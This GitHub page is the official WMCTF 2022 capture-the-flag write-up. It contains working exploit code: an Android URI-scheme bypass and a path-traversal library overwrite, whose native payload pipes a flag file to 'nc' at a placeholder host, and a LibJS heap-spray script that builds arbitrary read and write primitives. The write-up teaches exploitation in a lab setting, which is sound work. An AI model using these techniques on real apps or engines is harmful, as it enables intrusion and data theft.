Skip to content

wm-team/WMCTF2022

Repository files navigation

WMCTF 2022 OFFICIAL WRITE-UP

Due to some special reasons, the zero solution challenge does not release the wp

[TOC]

PWN

ctf-team_simulator

This question is a "registration language" generated by compiling with flex. When reversing it, you will find a large number of token tokens, from 1 to 17, respectively:

#define     CREATE  1
#define     LOGIN   2
#define     USER    3
#define     TEAM    4
#define     LOGOUT  5
#define     JOIN    6
#define     SHOW    7
#define     NAME_SIGN   10
#define     PWD_SIGN    11
#define     EMAIL_SIGN  12
#define     PHONE_SIGN  13
#define     ADMIN_  14
#define     LOAD    15

#define     CONTENT 16
#define     HELP    17

The corresponding inputs are

"help"          {return(HELP);}
"exit"          {return(EXIT);}
"create"        {return(CREATE);}
"user"          {return(USER);}
"team"          {return(TEAM);}
"login"         {return(LOGIN);}
"join"          {return(JOIN);}
"show"          {return(SHOW);}
"admin"         {return(ADMIN_);}
"load"          {return(LOAD);}
"-p"            {return(PWD_SIGN);}
"-n"            {return(NAME_SIGN);}
"-e"            {return(EMAIL_SIGN);}
"-P"            {return(PHONE_SIGN);}
{content}       {return(CONTENT);}

By backtracking, we can see that when using admin, we can read the user from the file, so we can directly analyze this Load user function. It is easy to see that the condition for load user is that the team has more than 2 members and the user name must be adm1n.

Therefore, it is straightforward to create the team and the user according to the command format. The input exp is as follows.

create user -n adm1n -p 123456 -P 1 -e nmsl
create user -n usr -p 654321 -P 2 -e wsnd
create user -n usr2 -p 654321 -P 2 -e wsnd
login user -n adm1n -p 123456
create team -n t1
login user -n usr -p 654321
join -n t1
login user -n usr2 -p 654321
join -n t1
login user -n adm1n -p 123456
admin load /home/ctf/flag
END

WM Baby Droid

Bypass the validation of domain host

The validation can be seen below:

if (!uri.getHost().endsWith(".google.com")) {
    finish();
    return;
}

It requires a url whose domain host needs to end with .google.com. But it doesn't really mean you need own a google sub-domain. It could be bypassed by scheme because there isn't any validation on url scheme.

POC

JavaScript://www.google.com/%0d%0awindow.location.href='http://xx.xx.xx.xx/'

Path traversal when Webview downloading

The vulnerable code can be seen below:

webView.setDownloadListener(new DownloadListener() {
    @Override
    public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) {
        String fileName = parseContentDisposition(contentDisposition);
        String destPath = new File(getExternalCacheDir(), fileName).getPath();
        new DownloadTask().execute(url, destPath);
    }
});

The path to save the download file, is directly spliced from getExternalCacheDir()and fileName . Function parseContentDisposition will return the filename shown in Http header "Content-Disposition"

private static final Pattern CONTENT_DISPOSITION_PATTERN =
        Pattern.compile("attachment;\\s*filename\\s*=\\s*(\"?)([^\"]*)\\1\\s*$",
                Pattern.CASE_INSENSITIVE);

static String parseContentDisposition(String contentDisposition) {
    try {
        Matcher m = CONTENT_DISPOSITION_PATTERN.matcher(contentDisposition);
        if (m.find()) {
            return m.group(2);
        }
    } catch (IllegalStateException ex) {
        // This function is defined as returning null when it can't parse the header
    }
    return null;
}

So in this case, we can manipulate the value of Content-Disposition to contain a lot of ../. Then, the final path should be like:

/sdcard/Android/data/com.wmctf.wmbabydroid/cache/../../../../../../../../../../../../data/data/com.wmctf.wmbabydroid/files/lmao.so

We can achieve this goal through python-flask.

@app.route("/download", methods=['GET'])
def download():
    response = make_response(send_from_directory(os.getcwd(), 'exp.so', as_attachment=True))
    response.headers["Content-Disposition"] = "attachment; filename={}".format("../"*15+"data/data/com.wmctf.wmbabydroid/files/lmao.so")
    return response

Overwrite and trigger the native-lib

There is a JavascriptInterface called lmao. If file /data/data/com.wmctf.wmbabydroid/files/lmao.so exists, it will load that native executable file.

webView.addJavascriptInterface(this, "lmao");

@SuppressLint("JavascriptInterface")
@JavascriptInterface
public void lmao(){
    try {
        File so = new File(getFilesDir() + "/lmao.so");
        if(so.exists()){
            System.load(so.getPath());
        }
    } catch (Exception e){
        e.printStackTrace();
    }
}

We need delay 2 seconds to trigger the System.load, before we success overwrite the file.

<h1>poc1</h1>
<script>
    function sleep(time) {
        return new Promise((resolve) => setTimeout(resolve, time));
    }
    sleep(2000).then(() => {
        window.lmao.lmao();
    })
    location.href = "/download"
</script>

Final EXP

server.py

import os
from flask import Flask, abort, Response, request, make_response, send_from_directory
import logging
import requests
from hashlib import md5
from gevent import pywsgi
import base64
import traceback
import json
app = Flask(__name__)

@app.route("/download", methods=['GET'])
def download():
    response = make_response(send_from_directory(os.getcwd(), 'exp.so', as_attachment=True))
    response.headers["Content-Disposition"] = "attachment; filename={}".format("../"*15+"data/data/com.wmctf.wmbabydroid/files/lmao.so")
    return response

@app.route('/', methods=['GET'])
def index():
    return """\
<h1>poc1</h1>
<script>
    function sleep(time) {
        return new Promise((resolve) => setTimeout(resolve, time));
    }
    sleep(2000).then(() => {
        window.lmao.lmao();
    })
    location.href = "/download"
</script>
"""

# @app.route('/log', methods=['GET'])
# def log():
#     print(request.args)
#     print(request.headers)

if __name__ == "__main__":
    print("http://127.0.0.1/")
    server = pywsgi.WSGIServer(('0.0.0.0', 80), app)
    server.serve_forever()

# adb shell su root am broadcast -a com.wuhengctf.SET_FLAG -n com.wuhengctf.wuhengdroid5/.FlagReceiver -e flag 'flag{t12312312312}'
# adb shell am start -n com.wmctf.wmbabydroid/com.wmctf.wmbabydroid.MainActivity -d "JavaScript://www.google.com/%0d%0awindow.location.href='http://xx.xx.xx.xx/'"

exp.so

#include <jni.h>
#include <stdlib.h>
#include <string.h>

JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
    system("cat /data/data/com.wmctf.wmbabydroid/files/flag | nc xx.xx.xx.xx 233");
    return JNI_VERSION_1_6;
}

Broobwser

The challenge is a simple out-of-bound read and write vulnerability in LibJS, the Javascript engine used in Serenity OS, an awesome project you should definitely have a look. The JS interpreter can be compiled and ran on a host machine, which is Ubuntu 22.04 here.

Gaining control of the program is rather easy on your local machine, as offsets are fixed and can be calculated manually. However, the key obstacle here is the extremely unstable heap layout on the remote machine. Every additional newline may change the heap layout a lot. So the key here is to gain a stable AAR and AAW primitive. Here I used heap spray for stability. The rest part is to use the primitives to achieve ROP and get flag, which is ignored in the exp.

function hex(i){return "0x" + i.toString(16);}
gc()

abs = []
dvs = []

for(var i = 0; i < 0x100; i++){
    abs.push(new ArrayBuffer(0x100));
    abs[i].byteLength = 0x1337;
}

for(var i = 0; i < 0x100; i++){
    dvs.push(new DataView(abs[i]));
    dvs[i].setBigUint64(0, 0x4141414141414141n, true);
    dvs[i].setBigUint64(8, BigInt(i), true);
}

for(var i = 0; i < 0x100; i++){
    heap_addr = dvs[i].getBigUint64(0x1f8, true);
    size = dvs[i].getBigUint64(0x218, true);
    if(size == 0x3341n && heap_addr > 0x500000000000n){
        console.log(hex(heap_addr));
        break;
    }
}
if(heap_addr < 0x500000000000n){
    console.log("Try again 1");
    exit(0);
}

lib_lagom_leak = dvs[i].getBigUint64(0x2b8, true);
libc_base = lib_lagom_leak - 0xcb67b0n
console.log(hex(lib_lagom_leak));
console.log(hex(libc_base));

bin_sh = libc_base + 0x1d8698n;
environ = libc_base + 0xd142d0n;
dvs[i].setBigUint64(0x1f8, bin_sh, true);
for(var j = 0; j < 0x100; j++){
    verify = dvs[j].getBigUint64(0, true);
    if(verify == 0x68732f6e69622fn){
        console.log("Found j");
        break;
    }
}

if(verify != 0x68732f6e69622fn){
    console.log("Try again 2");
    exit(0);
}

function aar(addr){
    dvs[i].setBigUint64(0x1f8, addr, true);
    return dvs[j].getBigUint64(0, true);
}
function aaw(addr, value){
    dvs[i].setBigUint64(0x1f8, addr, true);
    dvs[j].setBigUint64(0, value, true);
}

console.log(hex(aar(environ)));

REVERSE

BabyDriver

First look at the string and find Please Input Your Flag, cross-referenced to the main functionimage-20220824151446574

sub_140006380

image-20220824151507847

sub_1400035A0 is a function that generates random 8-bit characters, sub_1400036C0 passes the FileName generated earlier and then releases the driver to a fixed location, sub_1400037A0 and sub_140003890 are some operations related to driver loading and starting, while determining whether the program startup environment is in Win7 x64.image-20220824151531828

The flag length is 32 bits, the encryption function is sub_140006750, continue to analyze the encryption function

sub_140006750

image-20220824151549960

The flags are first byte-by-byte xor subscripted, then the flags are passed into sub_1400062A0, and sub_1400062A0 is analyzed

sub_1400062A0

image-20220824151606099

The flag is gone by this point, as the NtQueryInformationFile parameter. Cross-referencing NtQueryInformationFile

image-20220824151622715

It just creates a txt file as an argument to CreateFileA. Since the title mentions driver and we have analyzed the behavior of releasing the driver earlier, we try to analyze the driver.

Since the driver is automatically deleted after it is released, we can extract the file before DeleteFile by debugging

image-20220824151642733

DriverEntry goes in and analyzes it and finds that sub_1400011E0 is used as the parameter for sub_140001000

image-20220824151657110

sub_140001000

image-20220824151707703

Here the use of the ExRegisterAttributeInformationCallback function in the two callback functions ExpDisSetAttributeInformation and ExpDisQueryAttributeInformation to do communication, do a hook.

If you go to the kernel file and analyze this function, you will find that ExpDisQueryAttributeInformation is called in ExQueryAttributeInformation